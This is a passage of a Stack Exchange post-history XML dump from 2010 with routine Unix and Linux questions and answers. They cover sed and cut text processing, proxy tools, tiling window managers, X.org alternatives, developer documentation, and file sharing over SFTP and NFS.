  <row Id="2093" PostHistoryTypeId="2" PostId="1100" RevisionGUID="6cd7245a-df39-4d31-844f-2a6a61a283c8" CreationDate="2010-08-23T17:29:37.990" UserId="732" Text="&quot;sed&quot; is probably easiest and faster than awk or perl in this circumstance:&#xD;&#xA;&#xD;&#xA;sed 's/^\([^;][^;]*\);.*$/\1/' some_file_name&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2094" PostHistoryTypeId="2" PostId="1101" RevisionGUID="3ef8bfe1-51b7-42e3-8d7e-81f7a2c029ca" CreationDate="2010-08-23T17:30:02.637" UserId="250" Text="Having some pleasant time with Proxifier, I just wonder if that kind of software is feasible under Unix/Linux?&#xD;&#xA;&#xD;&#xA;Is it easy to start a project like that, or are there existing projects available? Are they nearly as good as Proxifier (capture all TCP/IP packages and forward them through the proxy)?" />
  <row Id="2095" PostHistoryTypeId="1" PostId="1101" RevisionGUID="3ef8bfe1-51b7-42e3-8d7e-81f7a2c029ca" CreationDate="2010-08-23T17:30:02.637" UserId="250" Text="proxifier-like software on Unix?" />
  <row Id="2096" PostHistoryTypeId="3" PostId="1101" RevisionGUID="3ef8bfe1-51b7-42e3-8d7e-81f7a2c029ca" CreationDate="2010-08-23T17:30:02.637" UserId="250" Text="éproxyàésoftwareörecà" />
  <row Id="2097" PostHistoryTypeId="2" PostId="1102" RevisionGUID="2461ac0e-4e62-4c41-bf04-1669c32f59ec" CreationDate="2010-08-23T17:33:45.487" UserId="732" Text="I have a 400MHz Dell box (K6 CPU, I think) from circa 1999.  I've run Slackwares up to about 12.0 on it, but last summer, I put Slackware 3.2 on it, just to see what it felt like with a contemporary Linux.&#xD;&#xA;&#xD;&#xA;Very interesting.  I had to recompile the kernel (2.0.xx) to get support for a 3c905 ethernet card, and I recompiled XFree86 to get ATI card support.  I was able to complie the latests OpenSSH with only a few glitches for remote access." />
  <row Id="2098" PostHistoryTypeId="2" PostId="1103" RevisionGUID="6abd69d9-962e-4506-bae9-f5d3acec05c4" CreationDate="2010-08-23T17:34:36.250" UserId="1073" Text="Your choice is to either go in a update all the packages and add new repositories or just backup the data and sites and reinstall the server." />
  <row Id="2099" PostHistoryTypeId="2" PostId="1104" RevisionGUID="f39545bf-d95d-4ed2-9802-392cfebd1f0a" CreationDate="2010-08-23T17:38:58.660" UserId="31" Text="Enter &quot;you damn kids&quot; mode.  &#xD;&#xA;&#xD;&#xA;Your tools should help you do your job more efficiently, without preventing you from understanding what is going on.  Really, RH 4 is not that old, and mostly similar to what is around today.  It might not have the latest and greatest, but should be sufficient to do what you need (what is it that you need).  &#xD;&#xA;&#xD;&#xA;Rant over.&#xD;&#xA;&#xD;&#xA;On the other hand, if this is going on the net, it really needs to be updated with at least the latest RH 4 packages." />
  <row Id="2100" PostHistoryTypeId="5" PostId="1100" RevisionGUID="ec823df6-ede5-4af9-bd80-071adfb6960e" CreationDate="2010-08-23T17:40:40.000" UserId="73" Comment="added 4 characters in body" Text="`sed` is probably easiest and faster than awk or perl in this circumstance:&#xD;&#xA;&#xD;&#xA;    sed 's/^\([^;][^;]*\);.*$/\1/' some_file_name&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2101" PostHistoryTypeId="5" PostId="509" RevisionGUID="ae795540-e8a3-4ea7-b32e-8a03a64f8603" CreationDate="2010-08-23T17:40:57.457" UserId="351" Comment="added 19 characters in body" Text="Well, for BSD Unices, there's The Design and Implementation of the 4.4BSD Operating System, parts of which are now apparently available for free at http://www.freebsd.org/doc/en/books/design-44bsd/" />
  <row Id="2102" PostHistoryTypeId="2" PostId="1105" RevisionGUID="f98b73e1-852f-4279-a17f-5a33b18bd361" CreationDate="2010-08-23T17:42:20.620" UserId="357" Text="How about using diff, even though you don't want a diff?  Try this:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    diff --unchanged-group-format='@@ %dn,%df &#xD;&#xA;      %&lt;' --old-group-format='' --new-group-format='' \&#xD;&#xA;      --changed-group-format='' a.txt b.txt&#xD;&#xA;&#xD;&#xA;Here is what I get with your sample data:&#xD;&#xA;&#xD;&#xA;    $ cat a.txt &#xD;&#xA;    Foo Bar&#xD;&#xA;    X&#xD;&#xA;    Hello&#xD;&#xA;    World&#xD;&#xA;    42&#xD;&#xA;    $ cat b.txt &#xD;&#xA;    Foo Baz&#xD;&#xA;    Hello&#xD;&#xA;    World&#xD;&#xA;    23&#xD;&#xA;    $ diff --unchanged-group-format='@@ %dn,%df&#xD;&#xA;    %&lt;' --old-group-format='' --new-group-format='' \&#xD;&#xA;      --changed-group-format='' a.txt b.txt&#xD;&#xA;    @@ 2,3&#xD;&#xA;    Hello&#xD;&#xA;    World&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2103" PostHistoryTypeId="5" PostId="1096" RevisionGUID="3b2e99e3-7cf8-46a4-b9f3-659fbb88b9db" CreationDate="2010-08-23T17:42:23.757" UserId="73" Comment="deleted 75 characters in body; edited tags" Text="I have a file in which I need to eliminate everything after the first `;` on every line.&#xD;&#xA;&#xD;&#xA;So a file like this:&#xD;&#xA;&#xD;&#xA;    sdfsdsdf;&#xD;&#xA;    fsdfsddf;sdfsd;&#xD;&#xA;&#xD;&#xA;Will result in this:&#xD;&#xA;&#xD;&#xA;    sdfsdsdf&#xD;&#xA;    fsdfsddf&#xD;&#xA;&#xD;&#xA;I have looked into `grep` and `sed`.  I would appreciate an answer incorporating either of these commands.&#xD;&#xA;" />
  <row Id="2104" PostHistoryTypeId="6" PostId="1096" RevisionGUID="3b2e99e3-7cf8-46a4-b9f3-659fbb88b9db" CreationDate="2010-08-23T17:42:23.757" UserId="73" Comment="deleted 75 characters in body; edited tags" Text="écommandölineàéscriptingàégrepàésedà" />
  <row Id="2105" PostHistoryTypeId="2" PostId="1106" RevisionGUID="fd61fc08-c632-481c-bb9d-537bee4e5956" CreationDate="2010-08-23T17:45:53.690" UserId="1144" Text="another option is to use the `cut` command&#xD;&#xA;&#xD;&#xA;    cat a.file | cut -d';' -f1&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2106" PostHistoryTypeId="5" PostId="1099" RevisionGUID="12b9cd06-7a2c-4597-8064-801ac12b462d" CreationDate="2010-08-23T17:45:56.293" UserId="73" Comment="added 58 characters in body" Text="If you know Haskell, definitely [Xmonad](http://xmonad.org/)! [Ratpoison](http://www.nongnu.org/ratpoison/) is also quite nice, but I like Xmonad's tiling algorithm better and workspaces are a big win IMO.&#xD;&#xA;" />
  <row Id="2107" PostHistoryTypeId="5" PostId="1070" RevisionGUID="668e7556-3057-487a-9a90-76b444452f8e" CreationDate="2010-08-23T17:46:47.417" UserId="73" Comment="deleted 5 characters in body" Text="There are a few out there, but there's one that sticks out (to me) which I found suited my needs&#xD;&#xA;&#xD;&#xA; - It was not just configured in a nice language, but was also programmed in it (Python)&#xD;&#xA; - The ability to make my own layouts (which I found `awesome` didn't do)&#xD;&#xA; - Lightweight even though it's programmed in a dynamic language (just 6.6MB of ram)&#xD;&#xA;&#xD;&#xA;The name was [Qtile](http://qtile.org/)&#xD;&#xA;&#xD;&#xA;Come join us on the IRC channel; we'll be happy to help you out&#xD;&#xA;" />
  <row Id="2108" PostHistoryTypeId="2" PostId="1107" RevisionGUID="0f009bad-36f1-4996-bda4-f5343ab746db" CreationDate="2010-08-23T17:49:57.583" UserId="203" Text="[Linux Kernel 2.4 Internals][1] is another online resource to look at.  It appears to take a pretty 'ground up' approach, starting with booting.  Here the the TOC:&#xD;&#xA;&#xD;&#xA; 1. Booting&#xD;&#xA;    * 1.1 Building the Linux Kernel Image&#xD;&#xA;    * 1.2 Booting: Overview&#xD;&#xA;    * 1.3 Booting: BIOS POST&#xD;&#xA;    * 1.4 Booting: bootsector and setup&#xD;&#xA;    * 1.5 Using LILO as a bootloader&#xD;&#xA;    * 1.6 High level initialisation&#xD;&#xA;    * 1.7 SMP Bootup on x86&#xD;&#xA;    * 1.8 Freeing initialisation data and code&#xD;&#xA;    * 1.9 Processing kernel command line   &#xD;&#xA; 2. Process and Interrupt Management&#xD;&#xA;    * 2.1 Task Structure and Process Table&#xD;&#xA;    * 2.2 Creation and termination of tasks and kernel threads&#xD;&#xA;    * 2.3 Linux Scheduler&#xD;&#xA;    * 2.4 Linux linked list implementation&#xD;&#xA;    * 2.5 Wait Queues&#xD;&#xA;    * 2.6 Kernel Timers&#xD;&#xA;    * 2.7 Bottom Halves&#xD;&#xA;    * 2.8 Task Queues&#xD;&#xA;    * 2.9 Tasklets&#xD;&#xA;    * 2.10 Softirqs&#xD;&#xA;    * 2.11 How System Calls Are Implemented on i386 Architecture?&#xD;&#xA;    * 2.12 Atomic Operations&#xD;&#xA;    * 2.13 Spinlocks, Read-write Spinlocks and Big-Reader Spinlocks&#xD;&#xA;    * 2.14 Semaphores and read/write Semaphores&#xD;&#xA;    * 2.15 Kernel Support for Loading Modules &#xD;&#xA; 4. Virtual Filesystem (VFS)&#xD;&#xA;    * 3.1 Inode Caches and Interaction with Dcache&#xD;&#xA;    * 3.2 Filesystem Registration/Unregistration&#xD;&#xA;    * 3.3 File Descriptor Management&#xD;&#xA;    * 3.4 File Structure Management&#xD;&#xA;    * 3.5 Superblock and Mountpoint Management&#xD;&#xA;    * 3.6 Example Virtual Filesystem: pipefs&#xD;&#xA;    * 3.7 Example Disk Filesystem: BFS&#xD;&#xA;    * 3.8 Execution Domains and Binary Formats &#xD;&#xA; 5. Linux Page Cache&#xD;&#xA; 6. IPC mechanisms&#xD;&#xA;    * 5.1 Semaphores&#xD;&#xA;    * 5.2 Message queues&#xD;&#xA;    * 5.3 Shared Memory&#xD;&#xA;    * 5.4 Linux IPC Primitives &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.moses.uklinux.net/patches/lki.html" />
  <row Id="2109" PostHistoryTypeId="2" PostId="1108" RevisionGUID="2870cb1d-0fed-4d20-99a3-52c22964c6dd" CreationDate="2010-08-23T17:50:01.200" UserId="305" Text="There is [tproxy][1]. Alternativly you can use [SocksTun][2] + iptables if you cannot control preload veriables.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://freshmeat.net/projects/tproxy/&#xD;&#xA;  [2]: http://code.google.com/p/socks-tun/" />
  <row Id="2110" PostHistoryTypeId="2" PostId="1109" RevisionGUID="20b87c03-bb87-4b34-a31f-33c6cbe1ddf2" CreationDate="2010-08-23T18:28:42.740" UserId="1071" Text="There's a Arch Linux wiki entry comparing 13 different Tiling Window Managers, in grid-like fashion, &lt;a href=&quot;http://wiki.archlinux.org/index.php/Comparison_of_Tiling_Window_Managers&quot;&gt;here on the Arch Linux Wiki&lt;/a&gt;. Perhaps it would be hepful. &#xD;&#xA;&#xD;&#xA;I haven't tried any of them yet, personally, but plan to in the near future when I have some time, so I'm following this thread closely as well." />
  <row Id="2111" PostHistoryTypeId="5" PostId="1094" RevisionGUID="282d39cc-0d99-487a-aab1-cbee048446ab" CreationDate="2010-08-23T18:34:09.253" UserId="701" Comment="fixed typo" Text="Just found an answer, or at least a temporary fix to my problem; you can consider me a Linux n00b, so I'm not familiarized yet with the terms and subsystems available or how to tell what I'm actually running.&#xD;&#xA;&#xD;&#xA;simple answer: Disable desktop effects&#xD;&#xA;&#xD;&#xA;Long answer: I didn't even know compiz was my window manager!, I thought it was &quot;gnome&quot;, somewhere in the configuration I saw &quot;gnome-wm&quot; listed as the &quot;window manager&quot;, but I just found out that this is just a script to load the actual window manager&#xD;&#xA;&#xD;&#xA;There's also an environment variable WINDOWMANAGER=/usr/bin/gnome&#xD;&#xA;&#xD;&#xA;so I guess this raises more questions for me, how do I know which display/desktop manager, window manager, is actually active? well I actually know the display manager is gnome, because that was part of the installation&#xD;&#xA;&#xD;&#xA;anyway, for anyone else having the same problem, **open up the control center, go to &quot;look and feel&quot;, select &quot;Desktop effects&quot; and uncheck the box &quot;enable desktop effects&quot;**&#xD;&#xA;&#xD;&#xA;a quicker way to get to the same dialog is to run the command **simple-ccsm** (from the run application dialog, gnome-do, or the terminal).&#xD;&#xA;&#xD;&#xA;now, that (I think) I know that I have compiz as my window manager, I also tried going into the gconf-editor/apps/compiz/general/allscreens/options and set my shortcuts there, but that didn't work (did try logging out and back in again)" />
  <row Id="2112" PostHistoryTypeId="5" PostId="982" RevisionGUID="d6d73fdc-691a-41e5-9353-892619d52284" CreationDate="2010-08-23T18:38:32.580" UserId="701" Comment="added details" Text="Note: This question is specifically on a clean install of OpenSuse 11.3 with gnome as the display/desktop manager&#xD;&#xA;&#xD;&#xA;I can't get custom keyboard shortcuts to work, default shortcuts are working properly, but the ones I changed I can only get one of them to work, I'm using the &quot;windows key&quot; to match functionality of Windows 7 for a few keys like maximize window (winkey+up), minimize window (winkey+down), etc; none of them work; for the record **I did the exact same thing in Ubuntu and it worked without any problems.**&#xD;&#xA;&#xD;&#xA;additional info:&#xD;&#xA;I also noticed that gnome-do by default uses a key that I had assigned (winkey+space) and it &quot;wins&quot; (runs gnome-do) over the custom global key I had assigned (show main menu), actually, I can change the key in gnome-do to another that I have in the keyboard shortcuts, and the gnome-do works; this just makes me wonder if there are other applications that are disabling the usage of the &quot;winkey&quot;&#xD;&#xA;&#xD;&#xA;update: I also tried using gconf-editor apps/metacity, adding the keys there, still no luck, I tried _Windows_, _Super_, _Mod4_ for the WinKey name, none worked&#xD;&#xA;&#xD;&#xA;In some apps it seems the WinKey is completely ignored, i.e. it performs the action associated to the key without the WinKey, though, like I said before, there's one or two custom WinKey+SomeKey that ARE working (changed them to something else, stopped working, changed it back, worked again)&#xD;&#xA;&#xD;&#xA;Found &lt;a href=&quot;http://forums.fedoraforum.org/archive/index.php/t-115118.html&quot;&gt;this article from 2006&lt;/a&gt; that sounds very much like the problem I'm having, though I followed the steps to fix it but didn't work for me&#xD;&#xA;&#xD;&#xA;&gt; There seems to be a bug in Gnome /&#xD;&#xA;&gt; Metacity / X somewhere that means you&#xD;&#xA;&gt; can't use SUPER_L or SUPER_R (the left&#xD;&#xA;&gt; and right windows keys on a keyboard)&#xD;&#xA;&gt; with gnome system commands such as&#xD;&#xA;&gt; &quot;Lock Screen&quot;.&#xD;&#xA;&#xD;&#xA;&lt;a href=&quot;http://ubuntuforums.org/archive/index.php/t-519765.html&quot;&gt;another thread of the same issue I'm having&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;I've been reading linux forums, it seems this might a be a bug on recent OpenSuse releases:&#xD;&#xA;&#xD;&#xA;[Many actions do not work with shortcuts in 11.3](http://forums.opensuse.org/english/get-help-here/applications/442564-many-actions-do-not-work-shortcuts-11-3-a.html)&#xD;&#xA;&#xD;&#xA;[Changing the Keyboard shortcuts in System-&gt;personal-&gt;Keyboard Shortcuts does not seem to be working.](http://forums.opensuse.org/english/get-help-here/applications/438638-changing-keyboard-shortcuts-system-personal-keyboard-shortcuts-does-not-seem-working.html)&#xD;&#xA;&#xD;&#xA;and several others" />
  <row Id="2113" PostHistoryTypeId="5" PostId="1093" RevisionGUID="61fa5b47-f3d4-4692-9a6b-d0a380ca8ae5" CreationDate="2010-08-23T18:47:44.483" UserId="1094" Comment="added 1042 characters in body" Text="I've recently fallen into doing more work on LAMP servers, which is pretty new to me.  At first it wasn't a problem migrating my preference files, but as I've grown and learned more, my preferences and workflow has become more specific (and less portable*).  This morning I was asked to work on an old Red Hat 4 server and it's... it's just so old I don't know what to do with it.  Vim 6?  Everything installed through RPMForge?  Can't even install `tree` without having to add repositories?  No actual user accounts except root?  `/sbin/` and `/usr/sbin/` aren't even in the root user's path?  &#xD;&#xA;&#xD;&#xA;This thing was installed once and never modified.  Every installed package is from the ice age.  The first ice age.  &#xD;&#xA;&#xD;&#xA;So what do you do in this situation?  Should I even bother trying to work **on** on the server, or is there a better way to go about this?&#xD;&#xA;&#xD;&#xA;\* - really the only thing that broke is support for the Jellybeans color theme, and my usage of Vim tabs.&#xD;&#xA;&#xD;&#xA;edit - I guess the way I posed it was unclear, but the emphasis in the question should be on *you*.  What I'm really trying to get a sense for is what other people would do in a similar situation.  &#xD;&#xA;&#xD;&#xA;Remember:  I'm consulting.  It's not my job to reinstall the server.  It's not my job to do a security audit and harden the server.  It's my job to take vague requirements from a non-technical client running a very old server and make them happen in as little time as possible.  That's it.  &#xD;&#xA;&#xD;&#xA;I'm a developer, not a sysadmin; it's all pretty new to me, and getting it up to speed properly would take more time than I can afford to spend.  It's been in production for years; I'm just making modifications.  &#xD;&#xA;&#xD;&#xA;Do I *want* this server to be improved?  Of course!  Would I *want* this project to be something I'm proud of?  Yes!  Is that going to happen?  No.  I'm maintaining old software that I have zero interest in that doesn't even receive a lot of traffic.  I just want to do the task in a comfortable way without too much hassle." />
  <row Id="2114" PostHistoryTypeId="2" PostId="1110" RevisionGUID="25560af6-7a5e-4387-82c4-8012cb6b9219" CreationDate="2010-08-23T18:59:22.523" UserId="57" Text="you can try [ProxyChains][1] and [Tor][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sourceforge.net/projects/proxychains&#xD;&#xA;  [2]: http://www.torproject.org" />
  <row Id="2115" PostHistoryTypeId="2" PostId="1111" RevisionGUID="fe2ebd78-8fcb-495a-8b68-7173c45a3cba" CreationDate="2010-08-23T19:11:39.863" UserId="317" Text="we have so many options for window manager, shell, dekstop env, distro, kernel arch under linux, but why after (maybe) 20 years we only have x.org server (including its predecessor) as the bottom layer of GUI? &#xD;&#xA;&#xD;&#xA;yes i know about xfree86, and Y but most of them are stuck, is it so hard to create a new (i.e modern) one? or is there any other reason we are stuck on x.org?" />
  <row Id="2116" PostHistoryTypeId="1" PostId="1111" RevisionGUID="fe2ebd78-8fcb-495a-8b68-7173c45a3cba" CreationDate="2010-08-23T19:11:39.863" UserId="317" Text="linux x.org alternative" />
  <row Id="2117" PostHistoryTypeId="3" PostId="1111" RevisionGUID="fe2ebd78-8fcb-495a-8b68-7173c45a3cba" CreationDate="2010-08-23T19:11:39.863" UserId="317" Text="élinuxàékdeàégnomeàéxorgàéguià" />
  <row Id="2118" PostHistoryTypeId="2" PostId="1112" RevisionGUID="5c0e28ef-1954-45c8-9976-099399dbebc7" CreationDate="2010-08-23T19:17:02.800" UserId="1149" Text="I've been using [wmii][1] for quite some time. The configs are pretty easy to understand and you can use any language you want to further tweak the config you want.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wmii.suckless.org/" />
  <row Id="2119" PostHistoryTypeId="2" PostId="1113" RevisionGUID="2db1a202-1c4d-400a-ba6c-edf0a52799f4" CreationDate="2010-08-23T19:20:44.773" UserId="1002" Text="I ran [CRUX](http://crux.nu/) on a Compaq Armada with a Pentium MMX 166 MHz, 64 MiB of RAM and an around 2-3 GiB hard disk.  Booted into an XFce desktop in less than 1 minute!&#xD;&#xA;&#xD;&#xA;Just for kicks, I also installed Ubuntu 5.04 on that machine once (the whole thing, running a full GNOME install, Firefox, etc.).  That was somewhat slow though...  ;-)" />
  <row Id="2120" PostHistoryTypeId="2" PostId="1114" RevisionGUID="697d0608-d77d-45aa-aafe-2febd5511c25" CreationDate="2010-08-23T19:21:06.893" UserId="317" Text="is there any SDK for developer under linux? i mean more than man pages, it would be more like MSDN Library or Windows SDK under windows, where all documentation about programming and developer guide  is documented and structured in one place." />
  <row Id="2121" PostHistoryTypeId="1" PostId="1114" RevisionGUID="697d0608-d77d-45aa-aafe-2febd5511c25" CreationDate="2010-08-23T19:21:06.893" UserId="317" Text="SDK for Developer" />
  <row Id="2122" PostHistoryTypeId="3" PostId="1114" RevisionGUID="697d0608-d77d-45aa-aafe-2febd5511c25" CreationDate="2010-08-23T19:21:06.893" UserId="317" Text="émanàésystemöprogrammingàédevelopmentàédocumentsà" />
  <row Id="2123" PostHistoryTypeId="2" PostId="1115" RevisionGUID="014d5312-b249-44ba-a0de-3c7da1913a75" CreationDate="2010-08-23T19:27:36.523" UserId="392" Text="Well, there's SVGALib or fbdev, you could build a window manager on top of one of those, if you'd like. I think the existing desktop environments (Gnome/KDE) are built on top of the X.Org programming interfaces, so you'd have quite a bit of work to do to make them work on a different substrate. I've heard that Android uses it's own frame buffer system and doesn't rely on X. Unlike POSIX, there isn't really a portable API for the underlying graphics system, so we all use X by default." />
  <row Id="2124" PostHistoryTypeId="2" PostId="1116" RevisionGUID="693a1c76-8ba4-495f-9c17-2e0abba0086c" CreationDate="2010-08-23T19:28:14.633" UserId="138" Text="A unified SDK implies a single source for all the core libraries.  That just isn't the way open source operating systems work.  Bits and pieces come from all over, and they're all separately documented." />
  <row Id="2125" PostHistoryTypeId="2" PostId="1117" RevisionGUID="a6829f1b-adea-4529-a581-eee6a9f908c1" CreationDate="2010-08-23T19:29:26.877" UserId="1002" Text="MSDN only documents Microsoft technologies, and not other libraries or frameworks to use on Windows; it doesn't include documentation from other vendors.  Now, linux distros use software from much more organisations &amp; companies, so the documentation also tends to be more distributed and less uniform.  (And sometimes documentation isn't done very well, unfortunately.)&#xD;&#xA;&#xD;&#xA;Also, most linux distros come with a documentation browser that bundles the documentation from various sources in one place." />
  <row Id="2126" PostHistoryTypeId="2" PostId="1118" RevisionGUID="39a98d13-428c-4ee0-a5a1-2e65bb526e02" CreationDate="2010-08-23T19:37:00.903" UserId="85" Text="For GNOME, you can check out devhelp or library.gnome.org.&#xD;&#xA;&#xD;&#xA;But as everyone has already stated, there is no single SDK for &quot;Linux&quot;.  You need to have some idea of what you want before we can recommend specific developer resources." />
  <row Id="2127" PostHistoryTypeId="5" PostId="1117" RevisionGUID="2c82bf64-f704-4641-9399-917ef84ceb45" CreationDate="2010-08-23T19:39:36.063" UserId="1002" Comment="added 165 characters in body" Text="MSDN only documents Microsoft technologies, and not other libraries or frameworks to use on Windows; it doesn't include documentation from other vendors.  Now, linux distros use software from much more organisations &amp; companies, so the documentation also tends to be more distributed and less uniform.  (And sometimes documentation isn't done very well, unfortunately.)&#xD;&#xA;&#xD;&#xA;Also, most linux distros come with a documentation browser that bundles the documentation from various sources in one place.&#xD;&#xA;&#xD;&#xA;Many of the important parts of a linux distro *do* have nice documentation libraries BTW, e.g.:&#xD;&#xA;&#xD;&#xA;* http://library.gnome.org/devel/&#xD;&#xA;* http://docs.python.org/&#xD;&#xA;" />
  <row Id="2128" PostHistoryTypeId="2" PostId="1119" RevisionGUID="82c21417-394e-4834-a55c-99abad976d3b" CreationDate="2010-08-23T19:44:52.447" UserId="1002" Text="There are several other implementations of X11, but none of them have all the features &amp; driver support that X.org has.&#xD;&#xA;&#xD;&#xA;There are also some framebuffer-based solutions like DirectFB and whatever Android uses.&#xD;&#xA;&#xD;&#xA;And recently work has been ongoing on [Project Wayland](http://en.wikipedia.org/wiki/Wayland_%28display_server%29), which maybe one day might (partially) replace X11." />
  <row Id="2129" PostHistoryTypeId="2" PostId="1120" RevisionGUID="c16e95af-1a13-4302-8f43-386011108494" CreationDate="2010-08-23T20:01:30.917" UserId="885" Text="You've already found `zle-keymap-select` which is executed whenever the mode changes. You could use it to set some other visual indicator than the prompt, depending on what your terminal supports it (and your taste in mode indicator display, of course).&#xD;&#xA;&#xD;&#xA;There is a standard [terminfo capability](http://unix.stackexchange.com/questions/1022/is-it-possible-to-display-stuff-below-the-prompt-at-a-prompt/1029#1029) to change the shape of the cursor. However some terminals display the same cursor in both modes. Xterm's notion of a less visible cursor is to make it blink (and this must be enabled with the `-bc` command line argument or `cursorBlink` resource).&#xD;&#xA;&#xD;&#xA;    zle-keymap-select () {&#xD;&#xA;      case $KEYMAP in&#xD;&#xA;        vicmd) print -rn -- $terminfo[cvvis];; # block cursor&#xD;&#xA;        viins) print -rn -- $terminfo[cnorm];; # less visible cursor&#xD;&#xA;      esac&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;With some terminals, you can also change the cursor color with `print -n '\e]12;pink\a'` (by color name) or `print -n '\e]12;#abcdef\a'` (by RGB specification). These sequences are described in the xterm documentation, in the [`ctlseqs`](http://invisible-island.net/xterm/xterm.faq.html#ctlseqs_ms) file; modern terminal emulators typically emulate xterm, though they might not support all its features.&#xD;&#xA;" />
  <row Id="2130" PostHistoryTypeId="5" PostId="1111" RevisionGUID="38c362ea-ab70-4f70-87da-bc625c9b9700" CreationDate="2010-08-23T20:05:05.463" UserId="73" Comment="added 25 characters in body" Text="We have so many options for window managers, shells, desktop environments, distros, and kernel architectures under Linux, but why after (maybe) 20 years do we only have X.org server (including its predecessor) as the bottom layer of GUI? &#xD;&#xA;&#xD;&#xA;I know about XFree86, and Y, but most of them are stuck. Is it so hard to create a new (i.e modern) one? Or is there any other reason we are stuck on X.org?" />
  <row Id="2131" PostHistoryTypeId="5" PostId="1116" RevisionGUID="d42678bf-fc6c-495a-8c16-0e1a255b7cf5" CreationDate="2010-08-23T20:10:02.553" UserId="138" Comment="added book para" Text="A unified SDK implies a single source for all the core libraries.  That just isn't the way open source operating systems work.  Bits and pieces come from all over, and they're all separately documented.&#xD;&#xA;&#xD;&#xA;**EDIT**: If paper's not a problem for you, the closest thing to what you're asking for is &lt;a href=&quot;http://www.apuebook.com/&quot;&gt;Advanced Programming in the Unix Environment&lt;/a&gt; 2/e by Stevens and Rago." />
  <row Id="2132" PostHistoryTypeId="2" PostId="1121" RevisionGUID="4cfc97c4-a3e5-41d3-b379-8d2f161118e7" CreationDate="2010-08-23T20:34:35.453" UserId="637" Text="Most service professionals eventually reach a point where they are comfortable telling clients &quot;Your current setup is wrong/dangerous. I'm not going to touch it without making it right.&quot;&#xD;&#xA;&#xD;&#xA;While it might or might not be legally or morally accurate, from a practical point of view, nontechnical people are going to blame the last person who worked on a system that fails. If you're the last person who even logged in to a server that gets compromised or that stops working, you're likely to be blamed for the failure, even if the things that you changed (or just looked at) have nothing to do with the failure. &#xD;&#xA;&#xD;&#xA;This is more obvious with physical things (imagine going to a tire store with bald tires and asking to have the bald tires patched, or going to a brake shop with all 4 wheels' brakes bad, and asking them to fix just 1 wheel's set; or asking the gas company to relight the pilot light on a dangerously rusted water heater) the same principles and considerations apply with software and servers. &#xD;&#xA;&#xD;&#xA;It sounds like your client has at least two problems: an unmaintained server environment, and they've got the development and production environments operating on the same physical hardware, so it's not possible to modify one without affecting the other.&#xD;&#xA;&#xD;&#xA;If you pretend that's a reasonable way to run things, you'll be expected to fix it when it blows up, and you'll probably be expected to do it for free because it's *obviously* your fault that it failed at all.&#xD;&#xA;&#xD;&#xA;To directly answer your question, I'd tell the client that their shared hardware system is a problem that needs to be fixed, and that the unmaintained server environment is so old that it's cheaper to pay you to move their existing data to a new system versus tracking down all of the changes and dependencies necessary to upgrade the old system. They should (a) get new hardware to run the development system, and (b) install up-to-date software on the new hardware, and then migrate development to that new hardware. The bonus that you get for fixing the shared hardware problem is that you can test the new dev environment prior to making the move, which should make for a more graceful transition. " />
  <row Id="2134" PostHistoryTypeId="2" PostId="1122" RevisionGUID="23fc022a-ff0c-414b-9da9-1bcae4029496" CreationDate="2010-08-23T21:18:16.093" UserId="298" Text="You should understand how to use common(ish) unix tools.  vim may have changed between redhat 4 and redhat 300, but I bet you vi is the same (even if they are using vim as a replacement for vi, the vi commands will work as expected).  The package tools may not be familiar to you, but I bet you can still download a tgz file, ./configure, make, make install it.  &#xD;&#xA;&#xD;&#xA;Learning on the latest and greatest is great, but you should also learn the tools your tools are built on.  There are things in unixland which remain fairly constant, and if you know and understand how to work with them, you will find yourself more at home on any variant you end up on, regardless of age (within reason here people).  &#xD;&#xA;&#xD;&#xA;Tree's not installed?  I bet grep, find, awk, and sed are though.  These are your friends.  &#xD;&#xA;&#xD;&#xA;As an alternative to cygwin/etc, it's not hard to install virtualbox and setup a linux box in a virtual environment that you can then use for your development and push files out to the server later.  " />
  <row Id="2135" PostHistoryTypeId="2" PostId="1123" RevisionGUID="6a85a0be-9bea-45be-886a-a62eba5b6643" CreationDate="2010-08-23T21:33:01.153" UserId="1103" Text="You can use [Fish][1] or [SFTP][2] to transfer files between computers, with minimal prior setup. Both protocols transfer files over [SSH][3], which is secure and encrypted. They are very well integrated into [KDE][4]: you can type `fish://` or `sftp://` URLs into Dolphin's Location Bar, or you can use the &quot;Add Network Folder&quot; wizard. [SFTP][5] at least seems to be supported by [Gnome][6] too.  &#xD;&#xA;&#xD;&#xA;I personally use Fish.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;On the server machine [Fish][7] and [SFTP][8] need only an [SSH][9] server running, that you can also use to administrate the server machine. Everyone who wants to access the server over Fish or SFTP needs a user account on the server. The usual file access permissions apply, for files accessed over the network.&#xD;&#xA;&#xD;&#xA;Fish and SFTP are roughly equivalent to shared directories on Windows, but both work over the Internet too. Usual (command line) programs however can't see the remote files, only programs that use the file access libraries of either Gnome or KDE can see them. To access the remote files through scripts, KDE has the `kioclient` program.  &#xD;&#xA;&#xD;&#xA;-&#xD;&#xA;&#xD;&#xA;For a setup with a central server that serves both user identities and files look at [NIS][10] and [NFS][11]. Both are quite easy to set up, especially with the graphical installers from [Opensuse][12]. This is the setup where every user can work at any machine and find his/her personal environment. However the client machines become unusable when they can't access the server. &#xD;&#xA;&#xD;&#xA;Furthermore a simple  NFS installation has very big security holes. The local computers, where the users sit, have to handle the access rights. The NFS server trusts any computer that has the right IP address. A smart 12 year old kid with a laptop can get access to every file, by replacing one of the local machines with the laptop and recreating the NFS client setup (which is easy). &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Files_transferred_over_shell_protocol&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/SSH_file_transfer_protocol&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Secure_Shell&#xD;&#xA;  [4]: http://en.wikipedia.org/wiki/KDE&#xD;&#xA;  [5]: http://en.wikipedia.org/wiki/SSH_file_transfer_protocol&#xD;&#xA;  [6]: http://en.wikipedia.org/wiki/GNOME&#xD;&#xA;  